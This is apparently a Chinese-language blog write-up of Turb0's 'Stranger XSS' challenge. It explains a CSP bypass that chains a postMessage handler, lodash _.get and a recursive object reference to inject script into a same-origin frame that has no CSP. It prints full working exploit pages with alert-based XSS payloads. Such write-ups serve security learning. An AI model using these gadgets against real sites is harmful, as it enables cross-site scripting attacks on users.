利用递归对象属性破解Turb0的XSS挑战

本文详细剖析了如何利用JavaScript中的递归对象属性,在存在严格内容安全策略(CSP)限制的情况下,成功完成Turb0设计的跨站脚本(XSS)挑战。

挑战概述

挑战地址位于:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html。 目标页面是一个可嵌入(frameable)的页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html。 该页面加载了三个脚本:

  • <script src="lodash.min.js">
  • <script src="jquery-3.6.0.min.js">
  • <script src="inner.js">

其中,前两个是常见的库(lodash和jQuery),第三个是自定义脚本。inner.js 的核心内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
const reHydrate = event => {
  const data = event.data;
  if (!data || typeof data !== "object") {
    log("Invalid message: not an object");
    return;
  }

  const { base, mappings } = data;
  if (!_.isObject(base) || !Array.isArray(mappings)) {
    log("Invalid payload structure: expected { base, mappings[] }");
    return;
  }

  for (const { from, to } of mappings) {
    const val = _.get(event, from);
    base.reqBody[to] = val;
  }
  return base;
}

window.addEventListener("message", event => {
  const hydrated = reHydrate(event);
  fetch('mockedfakeapi', {
    headers: {
      "Content-Type": "application/json"
    },
    method: 'POST',
    body: hydrated.reqBody
  })
}, false);

页面还通过一个 <meta> 标签设置了内容安全策略(CSP):

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

我们可以注意到以下几点关键信息:

  1. 使用 lodash 的 _.get:用于通过字符串路径(如 "a.b.c")获取对象的嵌套属性值。
  2. jQuery 未被使用:这暗示jQuery可能是预期的脚本小工具(gadget)来源。作者选择尝试不依赖jQuery的解法。
  3. 隐式函数调用:在 fetch 请求的 body: hydrated.reqBody 处,如果 reqBody 是一个对象,JavaScript会隐式调用其 toString() 方法。这是一个潜在的利用点。
  4. 可控的属性赋值:我们控制了 base.reqBody[to] = val; 这个赋值操作。
  5. postMessage 事件使用 _.get:这允许我们通过 event.sourceevent.target 等路径访问 window 对象。

仅通过赋值触发XSS

假设我们只想利用 base.reqBody[to] = val 这个赋值来触发XSS,我们的选择非常有限。常见的方式包括:

  • 设置元素的HTML:elm.innerHTMLelm.outerHTMLelm.insertAdjacentHTML
  • 设置元素的事件处理器属性:elm.onclick
  • 导航至 javascript: 链接:window.locationiframe.src
  • 设置iframe的 srcdoc 属性:iframe.srcdoc

但CSP阻止了内联脚本的执行和 javascript: 导航。因此,我们需要利用同源框架(frame)来绕过CSP。

CSP绕过的关键

对于CSP,有两个关键点:

  1. 操作的发起位置:对于导航操作(如设置 locationiframe.src),浏览器会检查发起导航的文档的CSP。即使我们试图导航一个没有CSP的框架,只要发起请求的页面有CSP,也会被阻止。
  2. 触发对象的所在位置:对于DOM渲染操作(如设置 innerHTMLiframe.srcdoc),浏览器会检查目标框架的CSP。这意味着我们可以在一个有CSP的页面中,操作另一个同源但无CSP的页面的DOM,从而绕过CSP限制。

因此,攻击页面的基本结构是包含两个iframe:

  1. 框架A:指向挑战页面(有CSP)。
  2. 框架B:指向一个同源但不存在的页面(如404页面),该页面没有CSP。

这样,从框架A(挑战页面)我们可以执行 parent.frames[1].document.body.innerHTML = "<img src=x onerror=alert(document.domain)>",将XSS载荷注入到框架B中。

利用递归对象属性突破限制

然而,上述方法面临一个直接问题:base.reqBody[to] = val 的赋值无法直接设置 innerHTML 属性。我们发送的载荷通常如下:

1
2
3
4
5
6
7
var payload = {
  base: {},
  mappings: [{
    from: "source.frames[1].document.body", // 指向无CSP窗口的body元素
    to: "x", // 保存到 base.reqBody.x
  }],
}

这会导致 base.reqBody.x 包含对body元素的引用,但我们无法通过 base.reqBody.x 来修改其 innerHTML。如果 to"innerHTML",我们又无法直接获取body元素本身。

作者尝试了原型污染(如设置 to: "__proto__"),但最终因 Illegal invocation 错误而失败。

关键的突破点在于:JavaScript允许对象递归引用

我们可以构造一个递归对象,让 base.reqBody 指向其自身的一部分,然后在赋值过程中动态地将这个引用覆盖为我们真正想要操作的目标对象(如DOM元素)。

最终解决方案

完整的攻击者页面代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[1].document.body", // 获取无CSP窗口的body元素
          to: "reqBody" // 覆盖 base.reqBody 本身
        }, {
          from: "data.xss", // 获取XSS载荷字符串
          to: "innerHTML" // 写入body元素的innerHTML
        }
      ],
      xss: "<img src=x onerror=alert(document.domain)>"
    }
    // 创建递归引用:base.reqBody 指向 base 本身
    payload.base.reqBody = payload.base

    // 发送消息到挑战页面(框架A)
    frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

攻击流程如下:

  1. 第一个映射base.reqBody["reqBody"] = source.frames[1].document.body;。此时 base.reqBody 最初指向 payload.base(即一个空对象 {})。执行此赋值后,base.reqBody 不再指向自身,而是被覆盖为对无CSP框架的 document.body 元素的引用。
  2. 第二个映射base.reqBody["innerHTML"] = data.xss;。此时 base.reqBody 已经是body元素,因此该操作等价于 parent.frames[1].document.body.innerHTML = "<img src=x onerror=alert(document.domain)>"
  3. XSS触发:载荷在无CSP的框架B中执行,成功弹出警告框。

总结与变体

核心要点

  1. 利用对象递归引用,使属性赋值操作能够动态覆盖赋值目标本身。
  2. 利用同源框架的CSP差异,将XSS载荷注入到无CSP的上下文中执行。

基于此思路,还存在其他解法变体。例如,利用另一个框架的 srcdoc 属性:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
<script>
  function run() {
    var payload = {
      base: {},
      mappings: [
        {
          from: "source.frames[0].frames[0].frameElement",
          to: "reqBody"
        }, {
          from: "data.xss",
          to: "srcdoc"
        }
      ],
      xss: "<script>alert(document.domain)\u003c/script>"
    }
    payload.base.reqBody = payload.base
    frames[0].frames[0].postMessage(payload, "*")
  }
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/outer.html"></iframe>

甚至在挑战发布者Turb0修改后,作者又展示了另一个巧妙的利用方式,通过污染 Array.isArray 等方法来实现利用。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计